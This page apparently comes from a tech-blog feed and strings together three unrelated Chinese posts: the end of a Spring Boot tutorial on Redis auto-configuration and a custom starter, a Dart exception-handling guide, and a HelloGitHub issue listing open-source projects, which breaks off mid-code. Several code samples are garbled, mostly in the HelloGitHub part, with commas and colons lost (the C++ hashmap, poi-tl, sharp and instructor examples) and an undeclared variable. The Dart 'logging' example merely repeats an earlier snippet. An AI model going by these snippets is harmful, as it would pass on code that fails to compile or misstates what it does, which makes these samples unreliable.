可能有的童鞋会问,“如果把@ConditionalOnMissingBean(RedisConnectionFactory.class)去掉呢?” 这样的话JedisConnectionConfiguration中的@Bean是否能覆盖掉之前的那个,实现重复注入呢?抱歉,这样会报错(大致意思是RedisConnectionFactory已经有一个对应的bean了,不能再注入第二个)。

这个我们可以做个小测试 新建一个Spring Boot项目,勾一个web即可。 新建BC类。 BC类用来模拟LettuceConnectionConfigurationJedisConnectionConfiguration类 这里类上没有添加@Configuration注解也是为了不被Spring扫描到,然后通过@Import才会进行注入。

public class B{
@Bean
@ConditionalOnMissingBean(TestInfoA.class)
public TestInfoB testInfoA() {
return new TestInfoB();
}
}

public class C{
@Bean
@ConditionalOnMissingBean(TestInfoA.class)
public TestInfoC testInfoA() {
return new TestInfoC();
}
}

新建 TestInfoATestInfoBTestInfoC。其中TestInfoA为接口,TestInfoBTestInfoC都实现了TestInfoA。用来模拟RedisConnectionFactory接口,JedisConnectionFactoryLettuceConnectionFactory

public interface TestInfoA {
}

public class TestInfoB implements TestInfoA{
}

public class TestInfoC implements TestInfoA{
}

新建TestInfo,模拟RedisTemplate

public class TestInfo {
private TestInfoA info;

public TestInfoA getInfo() {
return info;
}

public void setInfo(TestInfoA info) {
this.info = info;
}
}

新建TestConfig,用来模拟RedisAutoConfiguration

@Configuration
@Import({B.class,C.class})
public class TestConfig {
@Bean
@ConditionalOnMissingBean(name = "testInfo")
public TestInfo testInfo(TestInfoA param) {
TestInfo info = new TestInfo();
info.setInfo(param);
return info;
}
}

为了更好的展示,所以这里的结构完全仿照redis-starter的,实际上也不用那么复杂就是了,然后在TestConfig中的testInfo方法中打个断点,为了看TestInfoA实际上是TestInfoB还是TestInfoC类,运行。 在这里插入图片描述 可以看到实际上是TestInfoB,而@import中也是B在前。 然后改成@Import({C.class,B.class}) 然后结果 在这里插入图片描述 可以看出是按照出现在@Improt中的顺序来注入的。 然后测试下把B,C类的@ConditionalOnMissingBean(TestInfoA.class)注释掉 报错

The bean 'testInfoA', defined in class path resource [com/my/startingProcedure/my/C.class], could not be registered. A bean with that name has already been defined in class path resource [com/my/startingProcedure/my/B.class] and overriding is disabled.

总结:redisTemplate方法中的RedisConnectionFactory其实是LettuceConnectionFactory。 然后我们就可以通过这个注入的RedisTemplate来操作redis了。

3. spring-boot-autoconfigure

Spring Boot可以依据classpath里面的依赖内容来自动配置bean到IOC容器。 但是要开启这个自动配置功能需要添加@EnableAutoConfiguration注解。

上面指的自动配置功能事实上就是spring-boot-autoconfigure模块 然后让我们打开一个Spring Boot项目的启动项,是否注意到有一个@SpringBootApplication注解,这个是默认就有的。然后点开

@Target(ElementType.TYPE)
@Retention(RetentionPolicy.RUNTIME)
@Documented
@Inherited
@SpringBootConfiguration
@EnableAutoConfiguration
@ComponentScan(excludeFilters = {
@Filter(type = FilterType.CUSTOM, classes = TypeExcludeFilter.class),
@Filter(type = FilterType.CUSTOM, classes = AutoConfigurationExcludeFilter.class) })
public @interface SpringBootApplication {
}

发现@EnableAutoConfiguration,也就是说Spring Boot是默认开启自动配置功能的,即spring-boot-autoconfigure模块是被默认引用的。 然后让我们看下spring-boot-autoconfigure.jar中的该文件 在这里插入图片描述 相信能够找到RedisAutoConfiguration 在这里插入图片描述 在这里插入图片描述 EnableAutoConfiguration是不是和刚才讲到的注解一模一样呢?_(:з」∠*)_

这里还涉及到了Spring Boot的启动过程

public ConfigurableApplicationContext run(String... args) {
StopWatch stopWatch = new StopWatch();
stopWatch.start();
ConfigurableApplicationContext context = null;
Collection<SpringBootExceptionReporter> exceptionReporters = new ArrayList<>();
configureHeadlessProperty();
SpringApplicationRunListeners listeners = getRunListeners(args);
listeners.starting();
try {
ApplicationArguments applicationArguments = new DefaultApplicationArguments(
args);
ConfigurableEnvironment environment = prepareEnvironment(listeners,
applicationArguments);
configureIgnoreBeanInfo(environment);
Banner printedBanner = printBanner(environment);
context = createApplicationContext();
exceptionReporters = getSpringFactoriesInstances(
SpringBootExceptionReporter.class,
new Class[] { ConfigurableApplicationContext.class }, context);
prepareContext(context, environment, listeners, applicationArguments,
printedBanner);
refreshContext(context);
afterRefresh(context, applicationArguments);
stopWatch.stop();
if (this.logStartupInfo) {
new StartupInfoLogger(this.mainApplicationClass)
.logStarted(getApplicationLog(), stopWatch);
}
listeners.started(context);
callRunners(context, applicationArguments);
}
catch (Throwable ex) {
handleRunFailure(context, ex, exceptionReporters, listeners);
throw new IllegalStateException(ex);
}

try {
listeners.running(context);
}
catch (Throwable ex) {
handleRunFailure(context, ex, exceptionReporters, null);
throw new IllegalStateException(ex);
}
return context;
}

在Spring Boot启动时,会在refreshContext(context);阶段完成配置类的解析、各种BeanFactoryPostProcessor和BeanPostProcessor的注册、国际化配置的初始化、web内置容器的构造等等,这时会读取pom中引入jar的配置文件/META-INF/spring.factories,所以这里EnableAutoConfiguration下的所有类都会被实例化并注入Spring容器。 所以RedisAutoConfiguration就被扫描到了。

再来回顾下RedisAutoConfiguration

@Configuration
@ConditionalOnClass(RedisOperations.class)
@EnableConfigurationProperties(RedisProperties.class)
@Import({ LettuceConnectionConfiguration.class, JedisConnectionConfiguration.class })
public class RedisAutoConfiguration {
}

会发现@ConditionalOnClass(RedisOperations.class),如果想要被扫描到还需要在classpath中存在RedisOperations.class,这个又在哪呢? 点开RedisOperations.class,会发现其存在于spring-data-redis-2.1.3.RELEASE.jar在这里插入图片描述 但我们貌似没有引入spring-data-redis,这个是哪里来的呢?先让我们先看下之前pom中的引入,

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-data-redis</artifactId>
</dependency>

然后ctrl+左键继续查看 在这里插入图片描述 能看到版本了,再继续查看。 在这里插入图片描述 在这里插入图片描述 发现其会引入spring-data-redis,因此只有当我们在pom中引入spring-boot-starter-data-redis时,RedisAutoConfiguration才会真正的开启扫描。这也体现了Spring Boot的即插即用和方便快捷的自动配置。 然后下面还有一个io.lettuce,而之前在RedisAutoConfiguration中我们知道redisTemplate方法最终会把一个LettuceConnectionFactory实例注入Spring容器,而在这里实际上就已经大致表明了RedisAutoConfiguration会使用Lettuce客户端了。

4.总结

当要使用Spring Boot提供的redis客户端功能时,注入RedisTemplate的流程大致如下。 1.pom中引入spring-boot-starter-data-redis,并配置application.properties。 2.pom会根据spring-boot-starter-data-redis来引入spring-data-redis。 3.spring-data-redis中包含RedisOperations类。 4.启动Spring Boot,在refreshContext(context);中会初始化beanFactory,读取配置信息,初始化Spring容器,注入bean。因为@EnableAutoConfiguration开启的关系,会读取配置中EnableAutoConfiguration相关的类,并实例化注入Spring 容器。 5.根据配置文件扫描到RedisAutoConfiguration。当RedisOperations存在时RedisAutoConfiguration才会被扫描。 6.通过@EnableConfigurationProperties(RedisProperties.class)@ConfigurationProperties(prefix = "spring.redis"),把application.properties中的对应属性进行绑定,并注入RedisProperties配置类。 7.RedisAutoConfiguration中的@Import会引入LettuceConnectionConfigurationJedisConnectionConfiguration 8.LettuceConnectionConfigurationJedisConnectionConfiguration被扫描,扫描到内部的@Bean,使用上一步中注入的RedisProperties bean作为参数来实例化LettuceConnectionFactoryJedisConnectionFactory,并以RedisConnectionFactory类注入Spring容器。 8.扫描并注入RedisAutoConfiguration类内的@Bean,其中会使用RedisConnectionFactory bean作参数实例化RedisTemplate。 9.将RedisTemplate实例注入。 10.然后就能通过引用RedisTemplate来操作redis了。


五.创建自定义starter

my-redis-starter项目代码下载 点我 完成后的项目结构 在这里插入图片描述

1.新建maven项目

在这里插入图片描述 结构最简单的就行 在这里插入图片描述

2.引入spring-boot-autoconfigure

在pom中引入spring-boot-autoconfigure jar。

<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-autoconfigure</artifactId>
<version>1.5.4.RELEASE</version>
</dependency>
</dependencies>

因为需要用到Spring Boot的autoconfigure功能进行自动化配置。

3.引入相关外部jar

引入jedis-2.9.0.jar,commons-pool2-2.4.2.jar 因为相关的jar已经放在项目下了(/src/WEB-INF/lib),所以直接引入即可。 在这里插入图片描述

4.新建配置类

新建MyRedisProperties.java,用来绑定配置文件中的属性值。

@ConfigurationProperties(prefix = "my.redis")
public class MyRedisProperties {
//Redis服务器IP
    private String ADDR = "192.168.0.41";
       
    //Redis的端口号
    private int PORT = 6379;
    
    //访问密码
    private String AUTH = "admin";
    
    public String getADDR() {
return ADDR;
}

public void setADDR(String aDDR) {
ADDR = aDDR;
}

public int getPORT() {
return PORT;
}

public void setPORT(int pORT) {
PORT = pORT;
}

public String getAUTH() {
return AUTH;
}

public void setAUTH(String aUTH) {
AUTH = aUTH;
}

/**
     * 初始化Redis连接池
     */
    public JedisPool getJedisPool(){
    JedisPoolConfig config = new JedisPoolConfig();
//省略具体设置

        JedisPool myJedisPool = new JedisPool(config, ADDR, PORT, TIMEOUT, AUTH);
        
        return myJedisPool;
    }
}

这里把一些参数设置省略了,只保留了最重要的url,port,password3个属性,详细可下载源码查看。 当前类会将application.properties中的my.redis.ADDR,my.redis.PORT ,my.redis.AUTH 绑定到对应的属性中,并且提供了一个创建连接池的方法。

5.新建redis操作模板类

新建JedisTemplete.java

public class JedisTemplete {
private JedisPool jedisPool;

public JedisPool getJedisPool() {
return jedisPool;
}

public void setJedisPool(JedisPool jedisPool) {
this.jedisPool = jedisPool;
}

/**
     * 获取Jedis实例
     * @return
     */
    public Jedis getJedis() {
        try {
            if (jedisPool != null) {
                Jedis resource = jedisPool.getResource();
                return resource;
            } else {
                return null;
            }
        } catch (Exception e) {
            e.printStackTrace();
            return null;
        }
    }

    /**
     * 释放jedis资源
     * @param jedis
     */
    public void close(final Jedis jedis) {
        if (jedis != null) {
            jedis.close();
        }
    }
    
    public String getValue(String key) {
    return getJedis().get(key);
    }
}

使用连接池连接redis服务器,并提供了一个根据key查询value的方法。

6.新建自动化配置类

新建MyRedisAutoConfiguration.java

@Configuration
@ConditionalOnClass(MyRedisProperties.class)
@EnableConfigurationProperties(MyRedisProperties.class)
public class MyRedisAutoConfiguration {

@Bean
@ConditionalOnMissingBean(name="jedisTemplete")
public JedisTemplete jedisTemplete(MyRedisProperties myRedisProperties) {
JedisTemplete jedisTemplete = new JedisTemplete();

jedisTemplete.setJedisPool(myRedisProperties.getJedisPool());

return jedisTemplete;
}
}
  • @ConditionalOnClass(MyRedisProperties.class),当存在MyRedisProperties.class时才会进行扫描。
  • @EnableConfigurationProperties(MyRedisProperties.class),进行属性绑定,当当前类被扫描时,才会去创建MyRedisProperties实例,并绑定application.properties中对应的属性,然后注入Spring容器。
  • jedisTemplete方法,因为注解@Bean,所以在MyRedisAutoConfiguration 被扫描到时,也会扫描该方法并生成实例注入Spring容器。 public JedisTemplete jedisTemplete(MyRedisProperties myRedisProperties) myRedisProperties参数,就是通过@EnableConfigurationProperties(MyRedisProperties.class)注入的MyRedisProperties类实例。
  • 通过myRedisProperties获取到JedisPool
  • 创建JedisTemplete 实例,并将连接池赋给它。
  • 返回创建的JedisTemplete 实例,因为注解@Bean,所以会将其注入Spring容器,对应类为JedisTemplete

7.新建spring.factories配置文件

新建src/main/resources/META-INF/spring.factories文件。

org.springframework.boot.autoconfigure.EnableAutoConfiguration=com.auto.config.MyRedisAutoConfiguration

写入刚才创建的MyRedisAutoConfiguration类全名,注意前半段为EnableAutoConfiguration,这样在Spring Boot启动时,才会在配置文件中扫描到MyRedisAutoConfiguration,进而去扫描该类。

8.测试

(1)新建一个Spring Boot项目,在pom中引入刚才创建的maven项目。

<dependency>
<groupId>com.my.redis</groupId>
<artifactId>my-redis-starter</artifactId>
<version>0.0.1-SNAPSHOT</version>
</dependency>

(2)创建一个Controller,用来查看jedisTemplete是否被注入,能否连接到redis服务器并获取到数据。

@RestController
@RequestMapping(value="/print")
public class PrintController {
@Autowired
private JedisTemplete jedisTemplete;

@ResponseBody
@RequestMapping(value="/getRedis")
public String getRedis() {
return jedisTemplete.getValue("123");
}
}

(3)配置application.properties 添加配置信息

my.redis.ADDR=redis服务器的url
my.redis.PORT=端口
my.redis.AUTH=密码

(4)然后让我们先在redis中存一个值,key:123,value:321。 在这里插入图片描述 (5)启动测试 在这里插入图片描述 成功获取。

总结:自定义starter时 1.首先需要在pom中引入spring-boot-autoconfigure 2.新建XXXAutoConfiguration,然后引入需要注入的类。 3.配置spring.factories

org.springframework.boot.autoconfigure.EnableAutoConfiguration=XXXAutoConfiguration类全路径
//当有多个时
org.springframework.boot.autoconfigure.EnableAutoConfiguration=/
A,/
B,/
C

by 团子ing at January 27, 2025 12:53 AM

juejin android

系统化掌握 Dart 编程之异常处理

image.png

前言

异常Exception)是指程序执行过程中发生的意外情况,可能导致程序崩溃无法正常工作Dart 提供了强大的异常处理机制,帮助开发者优雅地捕获和处理这些异常,确保程序的稳定性可靠性。为了系统化地掌握 Dart 的异常处理,我们将从理论基础具体实现实践应用最佳实践四个层面进行详细讲解。

千曲而后晓声,观千剑而后识器。虐它千百遍方能通晓其真意

一、理论基础

理论基础 —— 理解异常的本质分类

1.1、定义

异常是程序执行过程中出现的错误意外情况。当程序遇到异常时,如果不加以处理,可能会导致程序终止或产生不正确的结果。Dart 使用对象来表示异常,并通过 throw 关键字抛出异常,使用 trycatchfinally 语句来捕获和处理异常。

1.2、特点

  • 1、可控性:可以通过代码控制异常的发生和处理。
  • 2、灵活性:可以自定义异常类型,满足不同场景的需求。
  • 3、可读性清晰的异常处理逻辑使代码更易于理解和维护。

1.3、分类

Dart 中的异常主要分为两类:

  • Error
    • 表示严重错误,通常是程序中的致命问题,如内存不足堆栈溢出等。
    • 这些错误通常不可恢复程序应立即终止
  • Exception
    • 表示可恢复的异常,如用户输入错误文件未找到等。
    • 可以通过异常处理机制捕获并处理这些异常,使程序继续运行。

二、具体实现

具体实现 —— 掌握异常处理的关键语法

2.1、抛出异常

可以使用 throw 关键字抛出一个异常对象。这个对象可以是任何类型的对象,但通常是一个继承自 ExceptionError 的类实例。

void checkAge(int age) {
  if (age < 0) {
    throw Exception('年龄不能为负数');
  }
}

void main() {
  try {
    checkAge(-5);
  } catch (e) {
    print(e); // 输出: Exception: 年龄不能为负数
  }
}

2.2、自定义异常

创建自己的异常类,继承自 Exception 类,以便更好地描述特定类型的错误。

class NegativeAgeException implements Exception {
  final String message;

  NegativeAgeException(this.message);

  @override
  String toString() => 'NegativeAgeException: $message';
}

void checkAge(int age) {
  if (age < 0) {
    throw NegativeAgeException('年龄不能为负数');
  }
}

void main() {
  try {
    checkAge(-5);
  } catch (e) {
    print(e); // 输出: NegativeAgeException: 年龄不能为负数
  }
}

2.3、捕获异常

使用 try-catch 结构捕获并处理异常。

void main() {
  try {
    int result = divide(10, 0);
    print('结果是: $result');
  } on NegativeAgeException catch (e) {
    print('年龄异常: $e');
  } on Exception catch (e) {
    print('一般异常: $e');
  } catch (e) {
    print('未知异常: $e');
  } finally {
    print('清理操作...');
  }
}

int divide(int a, int b) {
  if (b == 0) {
    throw Exception('除数不能为零');
  }
  return a ~/ b;
}

三、实践应用

实践应用 —— 处理真实世界的问题

3.1、异常传播

如果一个函数抛出了异常且没有被捕获,该异常会向上层调用栈传播,直到被某个 catch 块捕获或最终导致程序终止。

void main() {
  try {
    performOperation();
  } catch (e) {
    print('主函数捕获到异常: $e');
  }
}

void performOperation() {
  riskyFunction();
}

void riskyFunction() {
  throw Exception('风险操作失败');
}

3.2、异步异常处理

异步操作(如 Future)也可能抛出异常。可以使用 awaittry-catch 来捕获这些异常。

import 'dart:async';

Future<int> fetchUserAge() async {
  await Future.delayed(Duration(seconds: 1));
  throw Exception('用户信息获取失败');
}

void main() async {
  try {
    int age = await fetchUserAge();
    print('用户年龄: $age');
  } catch (e) {
    print('发生异常: $e');
  }
}

四、最佳实践

枯燥中来点乐趣

image.png

4.1、明确异常类型

尽量使用具体的异常类型,而不是泛型的 Exception,这有助于更精确地处理不同类型的错误。

class NegativeValueException implements Exception {
  final String message;

  NegativeValueException(this.message);

  @override
  String toString() => 'NegativeValueException: $message';
}

void checkValue(int value) {
  if (value < 0) {
    throw NegativeValueException('值不能为负数');
  }
}

void main() {
  try {
    checkValue(-5);
  } on NegativeValueException catch (e) {
    print(e); // 输出: NegativeValueException: 值不能为负数
  } catch (e) {
    print('其他异常: $e');
  }
}

4.2、不要忽略异常

捕获异常后应进行适当的处理,不要简单地忽略它们

void readFile(String path) {
  try {
    // 模拟文件读取操作
    throw Exception('模拟文件读取失败');
  } catch (e) {
    // 错误处理逻辑
    print('无法读取文件: $e');
    // 记录日志或通知用户
  }
}

void main() {
  readFile('nonexistent_file.txt');
}

4.3、合理使用 finally

确保关键资源释放清理操作,即使发生异常也要保证程序的稳定性

import 'dart:io';

void writeFile(String content) {
  File file = File('example.txt');
  RandomAccessFile? raFile;

  try {
    raFile = file.openSync(mode: FileMode.write);
    raFile.writeStringSync(content);
  } catch (e) {
    print('写入文件时出错: $e');
  } finally {
    // 确保关闭文件资源
    raFile?.closeSync();
    print('文件已关闭');
  }
}

void main() {
  writeFile('Hello, World!');
}

4.4、避免过度捕获

不要在不必要的地方捕获异常,保持异常处理逻辑的简洁性可读性

void divideNumbers(int a, int b) {
  if (b == 0) {
    throw Exception('除数不能为零');
  }
  print(a ~/ b);
}

void main() {
  try {
    divideNumbers(10, 0);
  } catch (e) {
    print('捕获到异常: $e');
  }

  // 正常情况下不捕获异常
  divideNumbers(10, 2);
}

4.5、记录日志

对于生产环境中的异常,建议记录详细的日志信息,便于后续排查分析

void divideNumbers(int a, int b) {
  if (b == 0) {
    throw Exception('除数不能为零');
  }
  print(a ~/ b);
}

void main() {
  try {
    divideNumbers(10, 0);
  } catch (e) {
    print('捕获到异常: $e');
  }

  // 正常情况下不捕获异常
  divideNumbers(10, 2);
}

五、总结

枯燥中来点乐趣

image.png

通过上述四个层面 —— 理论基础具体实现实践应用最佳实践,我们系统化地掌握了 Dart 的异常处理机制。以下是各部分的核心要点:

  • 1、理论基础:理解异常的本质分类及其在 Dart 中的表现形式。
  • 2、具体实现:掌握如何抛出捕获处理异常,包括自定义异常类的创建。
  • 3、实践应用:通过实际案例展示如何应对真实世界中的异常情况,特别是异步操作中的异常处理
  • 4、最佳实践:提供一系列实用的建议,可构建更加健壮可靠的异常处理策略。

欢迎一键四连关注 + 点赞 + 收藏 + 评论

by 地狱勇士 at January 27, 2025 12:35 AM

juejin freebie

《HelloGitHub》第 106 期

兴趣是最好的老师,HelloGitHub 让你对编程感兴趣!

简介

HelloGitHub 分享 GitHub 上有趣、入门级的开源项目。

github.com/521xueweiha…

这里有实战项目、入门教程、黑科技、开源书籍、大厂开源项目等,涵盖多种编程语言 Python、Java、Go、C/C++、Swift...让你在短时间内感受到开源的魅力,对编程产生兴趣!


以下为本期内容|每个月 28 号更新

C 项目

1、sshfs:通过 SSH 挂载远程文件系统的工具。这是一个基于 SFTP 协议的文件系统工具,可通过 SSH 协议将远程文件系统挂载到本地。它操作简单,仅需一条命令,即可像访问本地文件系统一样管理远程文件和目录,兼容 Linux、BSD 和 macOS 系统。

挂载文件系统
sshfs [user@]hostname:[directory] mountpoint
卸载文件系统
fusermount -u mountpoint

C# 项目

2、mRemoteNG:集成多协议的远程连接管理工具。这是一款功能强大的远程连接管理工具,支持 RDP、VNC、SSH 等多种主流协议。它提供了标签式界面,用户可同时管理和切换多个远程连接,支持 Windows 11、10 等系统。

3、msstyleEditor:开箱即用的 Windows 视觉样式编辑器。这是一款用于编辑 Windows 视觉样式(.msstyles 文件)的工具,兼容 Windows 7、8、10 和 11 系统。它无需安装、开箱即用,支持快速查看所有组件并修改其属性,轻松自定义主题样式。

C++ 项目

4、Memento:边看视频边学日语的视频播放器。这是一款基于 mpv 的开源视频播放器,专为学习日语而设计。它能够帮助用户在观看视频时学习日语,支持弹出式词典、字幕浏览、生成和同步生词卡等功能。

5、mixxx:免费开源的 DJ 混音软件。该项目是一款用 C++ 开发的专业级 DJ 软件,完全免费。它提供了丰富的功能和硬件兼容性,支持自动 BPM 检测、实时效果处理、录音和直播等功能,适用于 Windows、macOS 和 Linux 平台。

6、parallel-hashmap:高性能的 HashMap 库。该项目提供了多种高性能、内存友好、线程安全的哈希表和 B 树容器实现。它基于 Google 的 Abseil 库进行开发和优化,支持 C++11 标准和头文件形式,无需编译即可直接使用。

#include <iostream>
#include <string>
#include <parallel_hashmap/phmap.h>

using phmap::flat_hash_map;

int main()
{
    flat_hash_map<std::stringstd::string> nickname =
    {
        { "tom",  "tomcat"},
        { "jim",  "jimoby"}
    };

    for (const auto& n : nickname)
        std::cout << n.first << "'s nickname is: " << n.second << "\n";

    email["bill"] = "hellogithub";
    std::cout << "bill's nickname is: " << nickname["bill"] << "\n";

    return 0;
}

7、upx:压缩可执行文件的工具。这是一款开源的可执行文件压缩工具,支持多种可执行文件格式(Windows、Linux、macOS)。它拥有出色的压缩比(50-70%),压缩后的文件可直接运行,适用于程序分发和大规模存储的场景。

Go 项目

8、bunster:一键“编译” shell 脚本的工具。该项目是一个 Shell-to-Go 转译器(Transpiler),原理是先把 shell 脚本转换为 Go 代码,然后利用 Go 工具链将其编译为二进制可执行文件,弥补了传统 shell 脚本在性能、可移植性和安全性方面的不足。

9、daytona:简化开发环境搭建的工具。该项目可以通过一条命令,快速创建一个配置好的开发环境,支持与主流 IDE 无缝集成,以及本地机器、远程服务器、云平台等多种基础设施。来自 @IZRINO 的分享

10、gopher-lua:将 Lua 脚本嵌入 Go 程序。这是一个 Go 语言实现的 Lua 虚拟机和编译器,完全兼容 Lua5.1 语法。开发者可以通过简单的代码,将 Lua 脚本嵌入到 Go 应用中,适用于游戏开发、自动化工具和插件系统等需要脚本化支持的场景。来自 @两双筷子sqldc 的分享

L := lua.NewState()
defer L.Close()
if err := L.DoString(`print("hello")`); err != nil {
    panic(err)
}

11、SamWaf:开源的轻量级 Web 应用防火墙。这是一款完全开源的轻量级 Web 应用防火墙,支持私有化部署,提供 Bot 检测、URL 白名单、CC 防护、自定义防护规则等功能,适用于小型企业、工作室和个人网站。来自 @猎隼丶止戈reNo7 的分享

Java 项目

12、mzt-biz-log:开箱即用的 Spring Boot 操作日志组件。这是一个为 Spring Boot 项目设计的操作日志组件,支持通过注解的方式,轻松记录业务操作日志,包括操作人、操作时间、操作内容等。来自 @FangPengbo 的分享

@LogRecord(
        fail = "创建订单失败,失败原因:「{{#_errorMsg}}」",
        success = "{{#order.purchaseName}}下了一个订单,购买商品「{{#order.productName}}」,测试变量「{{#innerOrder.productName}}」,下单结果:{{#_ret}}",
        type = LogRecordType.ORDER,
        bizNo = "{{#order.orderNo}}")
public boolean createOrder(Order order) {
    log.info("【创建订单】orderNo={}"order.getOrderNo());

    // db insert order
    Order order1 = new Order();
    order1.setProductName("内部变量测试");

    LogRecordContext.putVariable("innerOrder", order1);

    return true;
}

13、poi-tl:Java 的 Word 模板引擎。该项目是基于 Apache POI 的 Word 模板引擎,可以动态生成 Word 文档。它提供了友好的 API,支持文本、图片、表格、条件渲染、图表等多种内容的渲染,适用于批量生成合同、报告、通知、证书等场景。

XWPFTemplate template = XWPFTemplate.compile("template.docx").render(
  new HashMap<String, Object>(){{
    put("title""HelloGitHub");
}});  
template.writeAndClose(new FileOutputStream("output.docx")); 

JavaScript 项目

14、openmtp:Mac 上的 Android 文件传输工具。这是一个专为 macOS 设计的开源 Android 文件传输工具。通过 USB 连接,实现 macOS 与 Android 设备之间快速稳定的文件传输,支持 macOS 11.0 及以上版本。

15、readest:沉浸式的电子书阅读器。这是一款为热爱阅读的用户量身打造的阅读软件,将极简设计与强大功能融合,为你带来专注、沉浸的阅读体验。它基于 Next.js 和 Tauri 开发,支持跨平台运行,现已支持 macOS、Windows、Linux 和 Web 平台,未来还将推出 iOS 和 Android 版本,实现真正的全平台覆盖。来自 @Huang Xin 的分享

16、sharp:高性能的 Node.js 图像处理库。这是一个基于 libvips 的高性能 Node.js 图像处理库,支持对 JPEG、PNG、WebP、GIF 和 SVG 等格式的图像进行调整大小、格式转换、裁剪和旋转等操作。

const semiTransparentRedPng await sharp({
  create: {
    width48,
    height48,
    channels4,
    background: { r255, g0, b0, alpha0.5 }
  }
})
  .png()
  .toBuffer();

17、stretchly:跨平台的休息提醒助手。这是一款跨平台的 Electron 应用,旨在通过定时休息提醒,帮助用户养成健康的工作习惯,支持包括中文在内的多种语言,并提供自定义休息间隔、时长、提示音效等个性化设置。

18、svgl:精美的 Logo 资源库。该项目是基于 SvelteKit 和 Tailwind CSS 构建的在线 Logo 库,收录了 400 多种标志和文字商标,覆盖技术、编程语言、框架、公司等分类,支持一键下载和复制代码。

Kotlin 项目

19、AndroidEasterEggs:Android 系统彩蛋大全。该项目收集了各种 Android 系统彩蛋,包含完整的代码和体验等功能。来自 @p0ssword 的分享

20、maestro:移动端 UI 自动化测试框架。这是一款开源的移动端和 Web 应用 UI 自动化测试工具,它采用简单易懂的 YAML 语法编写测试脚本,内置容错机制和操作延迟容忍功能,支持 Android、iOS、Flutter 和桌面浏览器。

Python 项目

21、chonkie:轻量级的文本分块 Python 库。这是一个专为 RAG 应用设计的轻量级文本分块库,它简单易用、速度快,能够按固定大小分割文本,支持多种分词器、向量模型和灵活的分块策略,适用于长文本处理、构建 RAG 应用等场景。

from chonkie import TokenChunker
from tokenizers import Tokenizer

tokenizer = Tokenizer.from_pretrained("gpt2")
chunker = TokenChunker(tokenizer)

chunks = chunker("HelloGitHub! Chonkie, the chunking library is so cool! I love the tiny hippo hehe.")

for chunk in chunks:
    print(f"Chunk: {chunk.text}")
    print(f"Tokens: {chunk.token_count}")

22、fonttools:操作字体文件的 Python 库。这是一个用于编辑和转换字体文件的 Python 库,支持 TrueType 和 OpenType 字体与 XML 格式(TTX)之间的相互转换,兼容多种字体格式,适用于编辑、调试和优化字体等场景。

from fontTools.afmLib import AFM

f = AFM("Tests/afmLib/data/TestAFM.afm")
print(f["A"])
# (65, 668, (8, -25, 660, 666))

f.FontName = "TestFont HelloGitHub"
f.write("testfont-hellogithub.afm")

23、httpdbg:轻松捕获 Python 程序中 HTTP(S) 请求的工具。该项目是用于帮助开发者调试 Python 程序中的 HTTP(S) 请求的工具。通过 pyhttpdbg 命令运行程序,即可在浏览器中查看发出的 HTTP 请求,支持脚本运行、交互式控制台、单元测试多种运行模式。

24、pwndbg:专为逆向工程设计的 GDB/LLDB 插件。这是一个专为 GDB 和 LLDB 调试器设计的插件,支持寄存器状态显示、内存搜索、内存泄漏查找等功能,适用于底层软件开发、硬件调试和逆向工程等场景。

25、PyPSA:电力系统分析 Python 库。这是一个用于电力系统分析的 Python 库,专注于电力和多能源系统的建模与优化。它基于 Pandas、NumPy、GLPK、Cbc 等库,能够高效计算最优潮流优化(OPF)、线性和非线性电力流,并支持模拟各种电力和能源系统组件的功能。

import pypsa

# create a new network
n = pypsa.Network()
n.add("Bus""mybus")
n.add("Load""myload", bus="mybus", p_set=100)
n.add("Generator""mygen", bus="mybus", p_nom=100, marginal_cost=20)

# load an example network
n = pypsa.examples.ac_dc_meshed()

# run the optimisation
n.optimize()

# plot results
n.generators_t.p.plot()
n.plot()

# get statistics
n.statistics()
n.statistics.energy_balance()

Rust 项目

26、aquascope:可视化 Rust 代码执行过程的工具。这是一个 Rust 代码可视化的工具,直观展示代码的编译和运行细节,帮助开发者理解 Rust 语言的运行机制。

27、code2prompt:将代码库转换为 LLM 提示的工具。这是一个 Rust 写的命令行工具,能够将代码库快速转换为适用于 LLM 的提示词(Markdown 文件)。它会自动遍历目录,生成代码结构树并整合到提示词中,同时支持提示词模板、Token 计算、生成 Git 提交信息、文件筛选等功能。

28、rpg-cli:将你的文件系统变成一个地牢游戏。这是一款用 Rust 编写的命令行 RPG 游戏,每次执行 cd 命令时,都可能遭遇敌人并触发回合制战斗(自动),游戏支持角色升级、物品、职业和宝箱等功能。

Swift 项目

29、boring.notch:将 MacBook 的刘海变成音乐控制中心。这是一款专为 macOS 设计的应用,可将原本单调的刘海区域变成一个炫酷的音乐控制中心,支持日历、AirDrop 和音乐控制等功能。

30、SwiftUI-Shimmer:SwiftUI 闪烁效果动效库。这是一个轻量级的 SwiftUI 动效库,可以轻松为任意 SwiftUI 视图添加闪烁效果,支持自定义动画、渐变样式、闪烁速度等,适用于加载状态、占位符、骨架屏等场景。

Text("Custom Gradient Mode").bold()
    .font(.largeTitle)
    .shimmering(
        gradientGradient(colors: [.clear, .orange, .white, .green, .clear]),
        bandSize0.5,
        mode: .overlay()
    )

人工智能

31、AI-on-the-edge-device:将“旧”设备接入数字世界。该项目基于 ESP32 等便宜的硬件(不到 10 欧)和 TensorFlow Lite 框架,实现对仪表数字的自动识别和数据传输,轻松将传统设备(水表、燃气表、电表)改造成智能设备。

32、instructor:让 LLM 输出结构化数据的 Python 库。该项目是用于处理大语言模型(LLMs)结构化输出的 Python 库。它基于 Pydantic 实现了数据验证和类型注释,能够将 LLM 的结果(自然语言)转换为结构化数据,支持多种大语言模型服务,以及自动重试、流式响应等功能。

import instructor
from pydantic import BaseModel
from openai import OpenAI


# Define your desired output structure
class UserInfo(BaseModel):
    name: str
    age: int


# Patch the OpenAI client
client = instructor.from_openai(OpenAI())

# Extract structured data from natural language
user_info = client.chat.completions.create(
    model="gpt-4o-mini",
    response_model=UserInfo,
    messages=[{"role""user""content""John Doe is 30 years old."}],
)

print(user_info.name)
#> John Doe
print(user_info.age)
#> 30

33、lite.ai.toolkit:轻量级的 C++ AI 工具包。这是一个用 C++ 编写的 AI 工具包,内置超过 100 种 AI 模型,包括对象检测、人脸识别、分割、抠图等领域。它支持 ONNXRuntime、MNN、NCNN、TNN 和 TensorRT 等主流推理引擎,帮助开发者快速部署和使用 AI 模型。来自 @wangzijian 的分享

#include "lite/lite.h"

int main(int argc, char *argv[]) {
  std::string onnx_path = "yolov5s.onnx";
  std::string test_img_path = "test_yolov5.jpg";
